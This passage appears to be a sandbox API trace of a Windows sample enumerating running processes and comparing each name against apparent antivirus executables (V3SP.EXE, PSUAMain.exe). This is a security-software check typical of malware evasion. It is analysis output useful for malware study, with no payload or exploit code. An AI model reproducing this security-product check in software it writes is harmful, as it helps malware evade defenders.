szExeFile="cmd.exe")) returned 1 [0074.641] lstrcpyW (in: lpString1=0x18f0b0, lpString2="cmd.exe" | out: lpString1="cmd.exe") returned="cmd.exe" [0074.641] lstrlenW (lpString="cmd.exe") returned 7 [0074.641] CharUpperBuffW (in: lpsz="cmd.exe", cchLength=0x7 | out: lpsz="CMD.EXE") returned 0x7 [0074.641] lstrcmpW (lpString1="CMD.EXE", lpString2="V3SP.EXE") returned -1 [0074.641] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xb84, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.641] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.641] lstrlenW (lpString="net.exe") returned 7 [0074.641] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.641] lstrcmpW (lpString1="NET.EXE", lpString2="V3SP.EXE") returned -1 [0074.641] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.642] lstrcpyW (in: lpString1=0x18f0b0, lpString2="conhost.exe" | out: lpString1="conhost.exe") returned="conhost.exe" [0074.642] lstrlenW (lpString="conhost.exe") returned 11 [0074.642] CharUpperBuffW (in: lpsz="conhost.exe", cchLength=0xb | out: lpsz="CONHOST.EXE") returned 0xb [0074.642] lstrcmpW (lpString1="CONHOST.EXE", lpString2="V3SP.EXE") returned -1 [0074.642] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbac, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 1 [0074.642] lstrcpyW (in: lpString1=0x18f0b0, lpString2="net.exe" | out: lpString1="net.exe") returned="net.exe" [0074.642] lstrlenW (lpString="net.exe") returned 7 [0074.642] CharUpperBuffW (in: lpsz="net.exe", cchLength=0x7 | out: lpsz="NET.EXE") returned 0x7 [0074.642] lstrcmpW (lpString1="NET.EXE", lpString2="V3SP.EXE") returned -1 [0074.642] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xbac, pcPriClassBase=8, dwFlags=0x0, szExeFile="net.exe")) returned 0 [0074.643] CloseHandle (hObject=0x118) returned 1 [0074.643] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0074.644] lstrcpyW (in: lpString1=0x18eea8, lpString2="PSUAMain.exe" | out: lpString1="PSUAMain.exe") returned="PSUAMain.exe" [0074.644] lstrlenW (lpString="PSUAMain.exe") returned 12 [0074.644] CharUpperBuffW (in: lpsz="PSUAMain.exe", cchLength=0xc | out: lpsz="PSUAMAIN.EXE") returned 0xc [0074.644] Process32FirstW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0074.645] lstrcpyW (in: lpString1=0x18f0b0, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0074.645] lstrlenW (lpString="[System Process]") returned 16 [0074.645] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0074.645] lstrcmpW (lpString1="[SYSTEM PROCESS]", lpString2="PSUAMAIN.EXE") returned -1 [0074.645] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x54, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0074.645] lstrcpyW (in: lpString1=0x18f0b0, lpString2="System" | out: lpString1="System") returned="System" [0074.645] lstrlenW (lpString="System") returned 6 [0074.645] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0074.645] lstrcmpW (lpString1="SYSTEM", lpString2="PSUAMAIN.EXE") returned 1 [0074.645] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0074.646] lstrcpyW (in: lpString1=0x18f0b0, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0074.646] lstrlenW (lpString="smss.exe") returned 8 [0074.646] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0074.646] lstrcmpW (lpString1="SMSS.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.646] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.646] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.646] lstrlenW (lpString="csrss.exe") returned 9 [0074.646] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.646] lstrcmpW (lpString1="CSRSS.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.646] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0074.647] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0074.647] lstrlenW (lpString="wininit.exe") returned 11 [0074.647] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0074.647] lstrcmpW (lpString1="WININIT.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.647] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0074.647] lstrcpyW (in: lpString1=0x18f0b0, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0074.647] lstrlenW (lpString="csrss.exe") returned 9 [0074.647] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0074.647] lstrcmpW (lpString1="CSRSS.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.647] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0074.648] lstrcpyW (in: lpString1=0x18f0b0, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0074.648] lstrlenW (lpString="winlogon.exe") returned 12 [0074.648] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0074.648] lstrcmpW (lpString1="WINLOGON.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.648] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0074.648] lstrcpyW (in: lpString1=0x18f0b0, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0074.648] lstrlenW (lpString="services.exe") returned 12 [0074.648] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0074.648] lstrcmpW (lpString1="SERVICES.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.648] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0074.649] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0074.649] lstrlenW (lpString="lsass.exe") returned 9 [0074.649] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0074.649] lstrcmpW (lpString1="LSASS.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.649] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0074.649] lstrcpyW (in: lpString1=0x18f0b0, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0074.649] lstrlenW (lpString="lsm.exe") returned 7 [0074.649] CharUpperBuffW (in: lpsz="lsm.exe", cchLength=0x7 | out: lpsz="LSM.EXE") returned 0x7 [0074.649] lstrcmpW (lpString1="LSM.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.649] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.649] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.649] lstrlenW (lpString="svchost.exe") returned 11 [0074.650] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.650] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.650] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.650] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.650] lstrlenW (lpString="svchost.exe") returned 11 [0074.650] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.650] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.650] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.650] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.650] lstrlenW (lpString="svchost.exe") returned 11 [0074.650] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.650] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.650] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.651] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.651] lstrlenW (lpString="svchost.exe") returned 11 [0074.651] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.651] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.651] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.651] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.651] lstrlenW (lpString="svchost.exe") returned 11 [0074.651] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.652] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.652] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.652] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.652] lstrlenW (lpString="svchost.exe") returned 11 [0074.652] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.652] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.652] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.652] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.652] lstrlenW (lpString="svchost.exe") returned 11 [0074.652] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.652] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.652] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0074.653] lstrcpyW (in: lpString1=0x18f0b0, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0074.653] lstrlenW (lpString="spoolsv.exe") returned 11 [0074.653] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0074.653] lstrcmpW (lpString1="SPOOLSV.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.653] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.653] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.653] lstrlenW (lpString="taskhost.exe") returned 12 [0074.653] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.653] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.653] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.654] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.654] lstrlenW (lpString="svchost.exe") returned 11 [0074.654] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.654] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.654] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0074.654] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe" [0074.654] lstrlenW (lpString="taskeng.exe") returned 11 [0074.654] CharUpperBuffW (in: lpsz="taskeng.exe", cchLength=0xb | out: lpsz="TASKENG.EXE") returned 0xb [0074.654] lstrcmpW (lpString1="TASKENG.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.654] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.655] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.655] lstrlenW (lpString="svchost.exe") returned 11 [0074.655] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.655] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.655] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.655] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.655] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.655] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.655] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.655] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0074.656] lstrcpyW (in: lpString1=0x18f0b0, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0074.656] lstrlenW (lpString="sppsvc.exe") returned 10 [0074.656] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0074.656] lstrcmpW (lpString1="SPPSVC.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.656] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0074.656] lstrcpyW (in: lpString1=0x18f0b0, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0074.656] lstrlenW (lpString="dwm.exe") returned 7 [0074.656] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0074.656] lstrcmpW (lpString1="DWM.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.656] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x414, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0074.657] lstrcpyW (in: lpString1=0x18f0b0, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe" [0074.657] lstrlenW (lpString="explorer.exe") returned 12 [0074.657] CharUpperBuffW (in: lpsz="explorer.exe", cchLength=0xc | out: lpsz="EXPLORER.EXE") returned 0xc [0074.657] lstrcmpW (lpString1="EXPLORER.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.657] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0074.657] lstrcpyW (in: lpString1=0x18f0b0, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0074.657] lstrlenW (lpString="audiodg.exe") returned 11 [0074.657] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0074.657] lstrcmpW (lpString1="AUDIODG.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.657] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0074.658] lstrcpyW (in: lpString1=0x18f0b0, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0074.658] lstrlenW (lpString="svchost.exe") returned 11 [0074.658] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0074.658] lstrcmpW (lpString1="SVCHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.658] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.658] lstrcpyW (in: lpString1=0x18f0b0, lpString2="WmiPrvSE.exe" | out: lpString1="WmiPrvSE.exe") returned="WmiPrvSE.exe" [0074.658] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.658] CharUpperBuffW (in: lpsz="WmiPrvSE.exe", cchLength=0xc | out: lpsz="WMIPRVSE.EXE") returned 0xc [0074.658] lstrcmpW (lpString1="WMIPRVSE.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.658] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0074.659] lstrcpyW (in: lpString1=0x18f0b0, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0074.659] lstrlenW (lpString="taskhost.exe") returned 12 [0074.659] CharUpperBuffW (in: lpsz="taskhost.exe", cchLength=0xc | out: lpsz="TASKHOST.EXE") returned 0xc [0074.659] lstrcmpW (lpString1="TASKHOST.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.659] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ghana-reaction.exe")) returned 1 [0074.659] lstrcpyW (in: lpString1=0x18f0b0, lpString2="ghana-reaction.exe" | out: lpString1="ghana-reaction.exe") returned="ghana-reaction.exe" [0074.659] lstrlenW (lpString="ghana-reaction.exe") returned 18 [0074.659] CharUpperBuffW (in: lpsz="ghana-reaction.exe", cchLength=0x12 | out: lpsz="GHANA-REACTION.EXE") returned 0x12 [0074.659] lstrcmpW (lpString1="GHANA-REACTION.EXE", lpString2="PSUAMAIN.EXE") returned -1 [0074.659] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="survive recipes.exe")) returned 1 [0074.660] lstrcpyW (in: lpString1=0x18f0b0, lpString2="survive recipes.exe" | out: lpString1="survive recipes.exe") returned="survive recipes.exe" [0074.660] lstrlenW (lpString="survive recipes.exe") returned 19 [0074.660] CharUpperBuffW (in: lpsz="survive recipes.exe", cchLength=0x13 | out: lpsz="SURVIVE RECIPES.EXE") returned 0x13 [0074.660] lstrcmpW (lpString1="SURVIVE RECIPES.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.660] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiley listprice immigration mn.exe")) returned 1 [0074.660] lstrcpyW (in: lpString1=0x18f0b0, lpString2="wiley listprice immigration mn.exe" | out: lpString1="wiley listprice immigration mn.exe") returned="wiley listprice immigration mn.exe" [0074.660] lstrlenW (lpString="wiley listprice immigration mn.exe") returned 34 [0074.660] CharUpperBuffW (in: lpsz="wiley listprice immigration mn.exe", cchLength=0x22 | out: lpsz="WILEY LISTPRICE IMMIGRATION MN.EXE") returned 0x22 [0074.660] lstrcmpW (lpString1="WILEY LISTPRICE IMMIGRATION MN.EXE", lpString2="PSUAMAIN.EXE") returned 1 [0074.660] Process32NextW (in: hSnapshot=0x118, lppe=0x18ec7c | out: lppe=0x18ec7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="temp la various.exe")) returned 1 [0074.661] lstrcpyW (in: lpString1=0x18f0b0, 